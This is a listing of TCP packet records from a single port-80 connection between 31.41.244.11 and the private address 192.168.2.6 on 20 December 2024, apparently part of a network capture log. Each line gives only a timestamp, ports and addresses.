Dec 20, 2024 21:13:27.574026108 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.574054003 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.574090958 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.575083971 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.575159073 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.575180054 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.575304985 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.576889038 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.576950073 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.576961040 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.577081919 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.577370882 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.577470064 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.577613115 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.578142881 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.578557968 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.578618050 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.578716993 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.578851938 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.579756975 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.579869986 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.579888105 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.580073118 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.580986023 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.581094027 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.581152916 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.581154108 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.582218885 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.582276106 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.582302094 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.582386017 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.583276033 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.583398104 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.583466053 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.584481955 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.584566116 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.584605932 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.584916115 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.585695028 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.585767031 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.585792065 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.585825920 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.586798906 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.586874962 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.586916924 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.587064028 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.588098049 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.588143110 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.588159084 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.588268042 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.589195013 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.589296103 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.589346886 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.589346886 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.590322018 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.590416908 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.590425968 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.590645075 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.591528893 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.591697931 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.591703892 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.591907024 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.592649937 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.592772007 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.723516941 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.723603964 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.723673105 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.723725080 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.724127054 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.724184036 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.724196911 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.724246025 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.725339890 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.725390911 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.725524902 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.725651979 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.726428986 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.726536989 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.726545095 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.726598024 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.727646112 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.727694988 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.727736950 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.727777004 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.728857040 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.728899002 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.728919029 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.728981018 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.730004072 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.730067015 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.730169058 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.730272055 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.731169939 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.731218100 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.731286049 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.731338024 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.732425928 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.732502937 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.732527971 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.732546091 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.733553886 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.733700037 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.733742952 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.733793020 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.734832048 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.734922886 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.734960079 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.735002995 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.735991955 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.736054897 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.736093998 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.736166000 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.737026930 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.737091064 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.737135887 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.737231970 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.738197088 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.738281965 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.738313913 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.738414049 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.739411116 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.739537954 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.739567995 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.739593029 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.740602970 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.740694046 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.740698099 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.740746021 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.741780996 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.741827011 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.741851091 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.741895914 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.742953062 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.743043900 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.743057966 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.743151903 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.744148970 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.744209051 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.744250059 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.744319916 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.745265007 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.745320082 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.745353937 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.745582104 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.746449947 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.746545076 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.746557951 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.746637106 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.747622967 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.747690916 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.747742891 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.747788906 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.748809099 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.748888016 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.748944998 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.748987913 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.750021935 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.750093937 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.750098944 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.750143051 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.751144886 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.751209974 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.751300097 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.751355886 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.752351046 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.752466917 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.752487898 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.752547026 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.753525972 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.753649950 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.753684998 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.753911972 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.754709959 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.754793882 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.754806042 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.754949093 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.755837917 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.755896091 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.755920887 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.756037951 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.757046938 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.757112026 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.757183075 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.757183075 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.758187056 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.758243084 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.758302927 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.758447886 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.759501934 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.759598017 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.759676933 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.759676933 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.760591030 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.760659933 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.760694981 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.760740042 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.761744022 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.761852980 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.761862040 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.761908054 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.763006926 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.763067007 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.763087988 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.763190985 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.764118910 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.764281988 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.764321089 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.764403105 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.765337944 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.765419960 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.765444040 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.765485048 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.766515017 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.766617060 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.766705036 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.766788006 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.767677069 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.767796040 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.767800093 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.767936945 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.768790007 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.768882036 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.768898010 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.768959999 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.769978046 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.770133018 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.770175934 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.771192074 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.771292925 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.771297932 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.771337986 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.772339106 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.772403955 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.772471905 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.772548914 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.773587942 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.773643970 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.773662090 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.773813963 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.774751902 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.774837017 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.774846077 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.774899960 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.775893927 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.775943995 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.775984049 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.776047945 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.777118921 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.777220011 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.777272940 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.777272940 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.778269053 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.778326035 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.778420925 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.778475046 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.779447079 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.779555082 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.779603958 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.779659033 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.780625105 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.780694008 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.780734062 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.780888081 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.781800032 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.781836987 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.781852961 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.781903982 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.783248901 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.783328056 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.783337116 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.783382893 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.784111023 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.784255981 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.784261942 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.784404993 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.785284996 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.785345078 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.915787935 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.915848970 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.915857077 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.915915012 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.916269064 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.916323900 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.916409969 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.916552067 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.917470932 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.917654037 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.917690992 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.917773008 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.918643951 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.918737888 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.918833017 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.918958902 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.919791937 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.919851065 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.919892073 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.919939995 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.921066999 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.921123028 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.921181917 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.921396017 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.922168016 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.922241926 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.922243118 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.922317982 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.923336983 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.923439026 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.923472881 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.923542023 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.924515009 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.924577951 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.924585104 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.924659967 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.925714970 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.925757885 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.925777912 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.925832033 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.926871061 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.926948071 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.926980019 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.927221060 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.928037882 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.928137064 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.928168058 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.928299904 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.929307938 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.929369926 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.929380894 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.929548025 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.930413008 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.930502892 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.930546045 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.930728912 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.931593895 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.931688070 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.931715012 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.931870937 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.932786942 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.932904959 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.932966948 CET	80	49887	31.41.244.11	192.168.2.6
